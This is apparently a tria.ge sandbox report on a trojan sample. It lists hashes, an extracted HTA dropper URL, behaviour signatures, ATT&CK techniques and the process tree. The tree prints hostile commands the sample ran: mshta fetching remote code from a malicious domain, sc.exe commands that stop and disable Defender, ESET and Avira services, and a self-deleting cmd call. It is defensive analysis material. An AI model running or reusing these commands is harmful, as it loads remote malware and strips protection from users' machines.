Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

0077c2fd7e...18.exe

windows7-x64

10

0077c2fd7e...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    131s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/06/2024, 20:59

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    0077c2fd7e98b372a973640ebdb67bb4_JaffaCakes118.exe

  • Size

    2.0MB

  • MD5

    0077c2fd7e98b372a973640ebdb67bb4

  • SHA1

    687f3783243b3da71d0cb882318224df3406a11c

  • SHA256

    b76b2e9356507b2d1c8157c0f885592d27e8dc9c8d95e6024e041d758d94d5a1

  • SHA512

    5866d2e329e5e7aff9e306af17c9cf7ddf7a4f47eb42f3473470af7ffb57af2c6473c1062f645369f050cb7852017f0d3dfbdabf84064c0508f77a6778d9e9aa

  • SSDEEP

    49152:DLqatPmogbmVZBTN1xC05KRkgc68WJI5NeGu5dkpFpERe8JjVwv14x4Q:DbmHb0f1CRNRJuIGu5mpFpERe8s1i

Score
10/10
evasionexecutionpersistencetrojan

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://galaint.coolsecupdate.info/?0=112&1=8&2=1&3=33&4=i&5=9200&6=6&7=2&8=919041&9=1033&10=0&11=0000&12=vvibltkbjg&14=1

Signatures

  • Disables service(s) 3 TTPs
    evasionexecution
  • UAC bypass 3 TTPs 3 IoCs
    evasiontrojan
  • Disables taskbar notifications via registry modification
    evasion
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Drops file in System32 directory 3 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • System policy modification 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\0077c2fd7e98b372a973640ebdb67bb4_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\0077c2fd7e98b372a973640ebdb67bb4_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4964
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\6884gab1kb8k3p1.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\6884gab1kb8k3p1.exe" -e -p7lf02436t7m3i73
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1864
      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\l089d0966e530b3.exe
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\l089d0966e530b3.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2964
        • C:\Users\Admin\AppData\Roaming\Protector-rtce.exe
          C:\Users\Admin\AppData\Roaming\Protector-rtce.exe
          4⤵
          • UAC bypass
          • Event Triggered Execution: Image File Execution Options Injection
          • Executes dropped EXE
          • Adds Run key to start application
          • Checks whether UAC is enabled
          • Drops file in System32 directory
          • Modifies Internet Explorer settings
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          • System policy modification
          PID:1604
          • C:\Windows\SysWOW64\mshta.exe
            mshta.exe "http://galaint.coolsecupdate.info/?0=112&1=8&2=1&3=33&4=i&5=9200&6=6&7=2&8=919041&9=1033&10=0&11=0000&12=vvibltkbjg&14=1"
            5⤵
              PID:3368
            • C:\Windows\SysWOW64\sc.exe
              sc stop WinDefend
              5⤵
              • Launches sc.exe
              PID:3012
            • C:\Windows\SysWOW64\sc.exe
              sc config WinDefend start= disabled
              5⤵
              • Launches sc.exe
              PID:3356
            • C:\Windows\SysWOW64\sc.exe
              sc stop msmpsvc
              5⤵
              • Launches sc.exe
              PID:4240
            • C:\Windows\SysWOW64\sc.exe
              sc config msmpsvc start= disabled
              5⤵
              • Launches sc.exe
              PID:2384
            • C:\Windows\SysWOW64\sc.exe
              sc config ekrn start= disabled
              5⤵
              • Launches sc.exe
              PID:2156
            • C:\Windows\SysWOW64\sc.exe
              sc stop AntiVirService
              5⤵
              • Launches sc.exe
              PID:3796
            • C:\Windows\SysWOW64\sc.exe
              sc config AntiVirService start= disabled
              5⤵
              • Launches sc.exe
              PID:4676
            • C:\Windows\SysWOW64\sc.exe
              sc config AntiVirSchedulerService start= disabled
              5⤵
              • Launches sc.exe
              PID:4812
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\L089D0~1.EXE" >> NUL
            4⤵
              PID:60

      Network

      MITRE ATT&CK Enterprise v15

      Reconnaissance

      Resource Development

      Initial Access

      Execution

      System Services

      2
      T1569

      Service Execution

      2
      T1569.002

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Create or Modify System Process

      2
      T1543

      Windows Service

      2
      T1543.003

      Event Triggered Execution

      1
      T1546

      Image File Execution Options Injection

      1
      T1546.012

      Privilege Escalation

      Abuse Elevation Control Mechanism

      1
      T1548

      Bypass User Account Control

      1
      T1548.002

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Create or Modify System Process

      2
      T1543

      Windows Service

      2
      T1543.003

      Event Triggered Execution

      1
      T1546

      Image File Execution Options Injection

      1
      T1546.012

      Defense Evasion

      Abuse Elevation Control Mechanism

      1
      T1548

      Bypass User Account Control

      1
      T1548.002

      Impair Defenses

      2
      T1562

      Disable or Modify Tools

      1
      T1562.001

      Modify Registry

      4
      T1112

      Credential Access

      Discovery

      Query Registry

      1
      T1012

      System Information Discovery

      3
      T1082

      Lateral Movement

      Collection

      Command and Control

      Exfiltration

      Impact

      Service Stop

      2
      T1489

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\6884gab1kb8k3p1.exe
        Filesize

        2.0MB

        MD5

        1a45a0c072a3a8dbd8a3b8d92894e3f8

        SHA1

        1e6db89437e0fd3bcb14c6c9dbe1ce98bb286c20

        SHA256

        43bb6c5aac2f0a5b2597b274c69a0fac1d5d5bd6f62fed8a7b6a203cea3d3325

        SHA512

        689531c4c6091f2124dd4a1750fd4b04fe282d2a61cd51ea5dc936609939f27a3025b0613384bc792c9bd57f64824535fc96ab9eca2e0dd19fb07be13dd16d42

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\l089d0966e530b3.exe
        Filesize

        1.9MB

        MD5

        b5ff5ef86e7f83fe0ea09efa4b2a13a5

        SHA1

        af3ad93fb39011d8f659fa6f4947664063319f59

        SHA256

        94ef4a33bf5a8f36f70612b010eebc80ef605a4ddc4526d8dd1554c5f3030019

        SHA512

        6dfd92e8a86fe13b0850d02551a98ee2a120087180a9263966f7e14b8a54ffa147cbe90da3fb54848a718ad8ca4b3e98dcf1c60eb8d484fdbc62390c95fef9cc

        Download Submit

      • memory/1604-47-0x0000000000400000-0x00000000007F6000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1604-43-0x0000000000400000-0x00000000007F6000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1604-51-0x0000000000400000-0x00000000007F6000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1604-37-0x0000000000400000-0x00000000007F6000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1604-40-0x0000000000400000-0x00000000007F6000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1604-41-0x0000000000400000-0x00000000007F6000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1604-42-0x0000000000400000-0x00000000007F6000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1604-23-0x0000000000400000-0x00000000007F6000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1604-44-0x0000000000400000-0x00000000007F6000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1604-46-0x0000000000400000-0x00000000007F6000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1604-49-0x0000000000400000-0x00000000007F6000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1604-48-0x0000000000400000-0x00000000007F6000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/2964-18-0x0000000000400000-0x00000000007F6000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/2964-25-0x0000000000400000-0x00000000007F6000-memory.dmp

        Filesize

        4.0MB

        Download